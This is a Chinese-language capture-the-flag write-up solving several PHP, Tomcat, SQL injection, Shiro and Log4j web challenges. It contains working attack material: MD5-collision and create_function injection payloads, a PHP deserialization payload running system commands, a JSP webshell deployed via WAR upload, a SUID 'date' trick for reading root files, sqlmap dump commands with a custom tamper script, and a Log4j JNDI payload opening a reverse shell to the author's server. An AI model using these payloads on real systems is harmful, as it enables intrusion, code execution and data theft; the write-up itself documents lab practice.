NSSCTF Basic #Round 16

期末周好久没看题,确实需要复健一下

RCE但是没有完全RCE

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
error_reporting(0);
highlight_file(__file__);
include('level2.php');
if (isset($_GET['md5_1']) && isset($_GET['md5_2'])) {
if ((string)$_GET['md5_1'] !== (string)$_GET['md5_2'] && md5($_GET['md5_1']) === md5($_GET['md5_2'])) {
if (isset($_POST['md5_3'])&&md5($_POST['md5_3']) == md5($_POST['md5_3'])) {
echo $level2;
} else {
echo "您!!!!!那么现在阁下又该如何应对呢";
}
} else {
echo "还在用传统方法????";
}
} else {
echo "来做做熟悉的MD5~";
}

经典MD5强类型比较,强制类型转换为string数组绕过用不了,到网上搜md5碰撞的payload即可

?md5_1=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&md5_2=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

下一步方法应该挺多的,可用变量拼接

或这里我读到根目录的flag文件,用more指令正则匹配读取也可

了解过PHP特性吗

这题也很善良,都是好久没见的PHP特性,不过做起来发现一些已经忘了,网上搜索即可

这里稍稍整理一下

preg_match只能处理字符串,当传入的对象是数组时会返回false

strrev函数作用为反转字符串,md5弱类型比较找0e开头的字符串即可

限制长度数值比较可以用科学计数法,常见还可以考虑十六进制、八进制等,字符串在php弱类型比较中会被截取前面数字部分比较

array_search缺陷函数,当strict参数不为true时检查不严格,传0即可

最后一层是creat_function注入,这不是校赛出过的吗,注意闭合即可,如果考察在第一个参数注入){}system("ls");/*,若在第二个参数注入,则}system("ls");/*

SBCTF Week1

Signin

关注Spirit Team公众号发送signin获得前一半flag

B站关注BXS-TEAM获得后一半flag的base64编码,解码即可

拼接可得SBCTF{W3lc0me_2_Jo1n_Spirit_@nd_BXS_hav3_fun}

Web

php_hacker

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
error_reporting(0);
highlight_file(__FILE__);
class Executor {
public $command;

public function __wakeup() {
if(isset($this->command)) {
eval($this->command);
}
}
}

if (isset($_GET['data'])) {
$data = base64_decode($_GET['data']);
unserialize($data);
}
?>

朴实无华的php反序列化,在__wakeup方法中执行任意代码,构造链子后进行base64编码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
error_reporting(0);
class Executor {
public $command = "system('ls /');";

public function __wakeup() {
if(isset($this->command)) {
eval($this->command);
}
}
}

$a = new Executor();
echo serialize($a);
?>
// O:8:"Executor":1:{s:7:"command";s:15:"system('ls /');";}

payload:?data=Tzo4OiJFeGVjdXRvciI6MTp7czo3OiJjb21tYW5kIjtzOjE1OiJzeXN0ZW0oJ2xzIC8nKTsiO30=

发现f_l_a_g,改链子读取即可

ez_cat

Tomcat后台弱口令文件上传漏洞

直接告诉了后台密码admin:admin登录

01c446d911a1884a85347feb0c75bd1f

找到部署war文件的位置,抄一个jsp马,打包成.war文件上传

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<%!
class U extends ClassLoader {
U(ClassLoader c) {
super(c);
}
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
}

public byte[] base64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
} catch (Exception e) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
}
}
%>
<%
String cls = request.getParameter("passwd");
if (cls != null) {
new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
}
%>

jar -cvf shell.war shell.jsp

访问http://47.76.71.50:20022/shell/shell.jsp发现木马上传成功

蚁剑连接,密码passwd

在根目录发现flag.txt,但是没有权限,根据题目描述考虑suid提权

find / -user root -perm -4000 -print 2>/dev/null

1
2
3
4
5
6
7
8
9
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/umount
/usr/bin/passwd
/usr/bin/gpasswd
/usr/bin/mount
/usr/bin/date
/usr/bin/su

这里对能提权的命令不熟,一个个查,发现date命令可用来读取root权限文件

/usr/bin/date -f /flag.txt

1

ez_sqli

sql

发现query经过两次base64编码,虽说是手注,不过感觉可以一把梭

稍稍修改sqlmap中的base64encode.py脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#!/usr/bin/env python

"""
Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

from lib.core.convert import encodeBase64
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW


def dependencies():
pass


def tamper(payload, **kwargs):
"""
Base64-encodes all characters in a given payload

>>> tamper("1' AND SLEEP(5)#")
'MScgQU5EIFNMRUVQKDUpIw=='
"""

return encodeBase64(encodeBase64(payload, binary=False), binary=False) if payload else payload

1.txt粘贴刚才抓到的数据包

python sqlmap.py --tamper base64encode.py -r C:\Users\Admin\Desktop\CTF脚本\SQL注入\1.txt检测注入点

python sqlmap.py --tamper base64encode.py -r C:\Users\Admin\Desktop\CTF脚本\SQL注入\1.txt --dbs 爆库

python sqlmap.py --tamper base64encode.py -r C:\Users\Admin\Desktop\CTF脚本\SQL注入\1.txt -D sql1 --tables 爆表

python sqlmap.py --tamper base64encode.py -r C:\Users\Admin\Desktop\CTF脚本\SQL注入\1.txt -D sql1 -T secrets --dump 爆字段

拿到flag:SBCTF{a79f93151e564f9dbe6e885035c83a49}

attack_shiro

没啥好说的,shiro550漏洞用工具一把梭即可,工具连接

虚拟机崩了,重新配环境浪费了些时间

需要Java8环境

shiroattack

java_signin

1

给了jar包,用jadx反编译发现只有一个跳转到原神官网的路由

maven发现log4j2依赖,猜测是jog4j2远程代码执行漏洞,在Accept处试探发现注入点

在自己的vps上使用JNDI工具,监听端口

``java -jar JNDIExploit.jar -i ip`

nc -lvvp 9000

构造payload:Accept: ${jndi:ldap://ip:1389/Basic/ReverseShell/ip/port}

反弹shell成功,cat /flag即可